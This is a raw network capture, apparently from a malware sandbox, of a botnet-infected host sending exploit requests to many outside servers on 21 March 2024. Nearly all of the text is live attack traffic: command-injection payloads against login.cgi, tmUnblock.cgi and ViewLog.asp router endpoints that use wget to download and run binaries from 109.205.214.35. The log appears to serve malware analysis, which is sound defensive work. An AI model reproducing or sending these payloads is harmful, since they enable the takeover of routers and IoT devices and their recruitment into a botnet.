64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 0a 3c 42 52 20 63 6c 65 61 72 3d 22 61 6c 6c 22 3e 0a 3c 48 52 20 6e 6f 73 68 61 64 65 20 73 69 7a 65 3d 22 31 70 78 22 3e 0a 3c 50 52 45 3e 0a 47 65 6e 65 72 61 74 65 64 20 62 79 20 63 6c 6f 75 64 66 72 6f 6e 74 20 28 43 6c 6f 75 64 46 72 6f 6e 74 29 0a 52 65 71 75 65 73 74 20 49 44 3a 20 62 32 67 69 69 67 68 69 79 47 57 4c 59 32 70 4c 55 35 57 53 61 54 70 7a 71 6e 69 51 6f 64 73 62 62 62 7a 54 31 78 36 47 76 65 6b 37 49 58 66 4b 77 45 70 66 62 67 3d 3d 0a 3c 2f 50 52 45 3e 0a 3c 41 44 44 52 45 53 53 3e 0a 3c 2f 41 44 44 52 45 53 53 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><HTML><HEAD><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1"><TITLE>ERROR: The request could not be satisfied</TITLE></HEAD><BODY><H1>400 ERROR</H1><H2>The request could not be satisfied.</H2><HR noshade size="1px">Bad request.We can't connect to the server for this app or website at this time. There might be too much traffic or a configuration error. Try again later, or contact the app or website owner.<BR clear="all">If you provide content to customers through CloudFront, you can find steps to troubleshoot and help prevent this error by reviewing the CloudFront documentation.<BR clear="all"><HR noshade size="1px"><PRE>Generated by cloudfront (CloudFront)Request ID: b2giighiyGWLY2pLU5WSaTpzqniQodsbbbzT1x6Gvek7IXfKwEpfbg==</PRE><ADDRESS></ADDRESS></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
772	192.168.2.23	33280	123.60.75.84	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:51.770982981 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:52.161998987 CET	281	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:17:52 GMT Content-Type: text/html Content-Length: 138 Connection: close Server: elb Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
773	192.168.2.23	37598	172.245.72.239	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:51.780519962 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:17:51.886013985 CET	413	IN	HTTP/1.0 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="login" Connection: close Content-type: text/html; charset=utf-8 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 37 20 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 34 30 37 20 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 68 32 3e 3c 68 33 3e 41 63 63 65 73 73 20 74 6f 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 64 69 73 61 6c 6c 6f 77 65 64 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 6f 72 20 79 6f 75 20 6e 65 65 64 20 76 61 6c 69 64 20 75 73 65 72 6e 61 6d 65 2f 70 61 73 73 77 6f 72 64 20 74 6f 20 75 73 65 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>407 Proxy Authentication Required</title></head><body><h2>407 Proxy Authentication Required</h2><h3>Access to requested resource disallowed by administrator or you need valid username/password to use this resource</h3></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
774	192.168.2.23	55146	200.88.35.132	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:51.865658045 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:52.027117014 CET	337	IN	HTTP/1.1 200 OK Content-Type:text/html; charset=UTF-8 Pragma:no-cache Cache-control:no-cache, no-store, max-age=0 Transfer-Encoding:chunked X-Frame-Options:SAMEORIGIN Connection:Keep-Alive X-XSS-Protection:1; mode=block Content-Security-Policy:default-src 'self' 'unsafe-inline' 'unsafe-eval' Content-Language:en
Mar 21, 2024 05:17:52.027663946 CET	1286	IN	Data Raw: 64 33 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 Data Ascii: d37<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=ut
Mar 21, 2024 05:17:52.027678013 CET	1286	IN	Data Raw: 29 20 3d 3d 20 27 3a 27 29 29 0d 0a 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0d 0a 20 20 20 20 7d 20 20 20 20 0d 0a 20 20 20 20 0d 0a 20 20 20 20 4c 69 73 74 20 3d 20 41 64 64 72 65 73 73 2e 73 70 6c 69 Data Ascii: ) == ':')) { return false; } List = Address.split(":"); if (List.length > 8) { return false; } for (var i = 0; i < List.length; i++) { if (false == IsIPv6AddressUsh
Mar 21, 2024 05:17:52.027842999 CET	859	IN	Data Raw: 65 6c 73 65 0d 0a 7b 0d 0a 76 61 72 20 4c 69 73 74 20 3d 20 48 6f 73 74 49 6e 66 6f 2e 73 70 6c 69 74 28 22 3a 22 29 3b 0d 0a 69 66 28 4c 69 73 74 2e 6c 65 6e 67 74 68 20 3e 3d 20 33 29 0d 0a 7b 0d 0a 2f 2a 20 69 6e 63 6c 75 64 65 20 74 77 6f 20 Data Ascii: else{var List = HostInfo.split(":");if(List.length >= 3){/* include two or more than two ":" /if(true == IsIPv6AddressValid(HostInfo)){/ host string not include port */window.location="https://[" + HostInfo + "]:" + SSLPort
Mar 21, 2024 05:17:52.357806921 CET	859	IN	Data Raw: 65 6c 73 65 0d 0a 7b 0d 0a 76 61 72 20 4c 69 73 74 20 3d 20 48 6f 73 74 49 6e 66 6f 2e 73 70 6c 69 74 28 22 3a 22 29 3b 0d 0a 69 66 28 4c 69 73 74 2e 6c 65 6e 67 74 68 20 3e 3d 20 33 29 0d 0a 7b 0d 0a 2f 2a 20 69 6e 63 6c 75 64 65 20 74 77 6f 20 Data Ascii: else{var List = HostInfo.split(":");if(List.length >= 3){/* include two or more than two ":" /if(true == IsIPv6AddressValid(HostInfo)){/ host string not include port */window.location="https://[" + HostInfo + "]:" + SSLPort

Session ID	Source IP	Source Port	Destination IP	Destination Port
775	192.168.2.23	49594	169.236.82.19	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:51.877803087 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
776	192.168.2.23	51570	80.243.169.106	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:51.899415970 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:52.826211929 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:53.039464951 CET	1286	IN	HTTP/1.1 404 Not Found Date: Thu, 21 Mar 2024 04:17:52 GMT Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=utf-8 Content-Language: en Data Raw: 63 38 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 0a 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 0d 0a 65 0d 0a 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 0d 0a 31 33 0d 0a 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 0d 0a 33 38 0d 0a 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 74 69 74 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 76 3d 22 6d 61 64 65 22 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 0d 0a 31 31 33 0d 0a 25 35 62 6e 6f 25 32 30 61 64 64 72 65 73 73 25 32 30 67 69 76 65 6e 25 35 64 22 20 2f 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 2f 2a 2d 2d 3e 3c 21 5b 43 44 41 54 41 5b 2f 2a 3e 3c 21 2d 2d 2a 2f 20 0a 20 20 20 20 62 6f 64 79 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 20 7d 0a 20 20 20 20 61 3a 6c 69 6e 6b 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 43 43 3b 20 7d 0a 20 20 20 20 70 2c 20 61 64 64 72 65 73 73 20 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 65 6d 3b 7d 0a 20 20 20 20 73 70 61 6e 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 73 6d 61 6c 6c 65 72 3b 7d 0a 2f 2a 5d 5d 3e 2a 2f 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 0d 0a 31 62 0d 0a 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 68 31 3e 0a 3c 70 3e 0a 0d 0a 33 39 0d 0a 0a 0a 20 20 20 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 0a 20 20 0d 0a 35 37 0d 0a 0a 0a 20 20 20 20 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 0a 20 20 20 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 0a 0a 20 20 0d 0a 32 0d 0a 0a 0a 0d 0a 39 0d 0a 3c 2f 70 3e 0a 3c 70 3e 0a 0d 0a 34 38 0d 0a 49 66 20 79 6f 75 20 74 68 69 6e 6b 20 74 68 69 73 20 69 73 20 61 20 73 65 72 76 65 72 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 0a 74 68 65 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 0d 0a 32 62 0d 0a 25 35 62 6e 6f 25 32 30 61 64 64 72 65 73 73 25 32 30 67 69 76 65 6e 25 35 64 22 3e 77 65 62 6d 61 73 74 65 72 3c 2f 61 3e 2e 0a 0d 0a 31 31 0d 0a 0a 3c 2f 70 3e 0a 0a 3c 68 32 3e 45 72 72 6f 72 20 0d 0a 32 31 0d 0a 34 30 34 3c 2f 68 32 3e 0a 3c 61 64 64 72 65 73 73 3e 0a 20 20 3c 61 20 68 72 65 66 3d 22 Data Ascii: c8<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="een" xml:lang="13en"><head><title>38Object not found!</title><link rev="made" href="mailto:113%5bno%20address%20given%5d" /><style type="text/css">.../--><![CDATA[/>.../ body { color: #000000; background-color: #FFFFFF; } a:link { color: #0000CC; } p, address {margin-left: 3em;} span {font-size: smaller;}/...*/--></style></head><body><h1>1bObject not found!</h1><p>39 The requested URL was not found on this server. 57 If you entered the URL manually please check your spelling and try again. 29</p><p>48If you think this is a server error, please contactthe <a href="mailto:2b%5bno%20address%20given%5d">webmaster</a>.11</p><h2>Error 21404</h2><address> <a href="
Mar 21, 2024 05:17:53.039520979 CET	693	IN	Data Raw: 2f 22 3e 0d 0a 31 63 0d 0a 31 32 37 2e 30 2e 30 2e 31 3c 2f 61 3e 3c 62 72 20 2f 3e 0a 20 20 3c 73 70 61 6e 3e 0d 0a 32 39 0d 0a 41 70 61 63 68 65 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c Data Ascii: /">1c127.0.0.1</a><br /> <span>29Apache</span></address></body></html>10HTTP/1.1 301 Moved PermanentlyDate: Thu, 21 Mar 2024 04:17:52 GMTServer: ApacheLocation: https://dubovsky.fast-online.at/error/HTTP_BAD_REQU

Session ID	Source IP	Source Port	Destination IP	Destination Port
777	192.168.2.23	47714	200.17.252.17	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:52.026396036 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:53.433748960 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:55.097543955 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
778	192.168.2.23	37634	45.79.16.224	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:52.296489954 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:52.426395893 CET	314	IN	HTTP/1.1 400 Bad Request Server: nginx-rc Date: Thu, 21 Mar 2024 04:17:52 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
779	192.168.2.23	32890	212.145.41.93	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:52.356894970 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:53.369762897 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
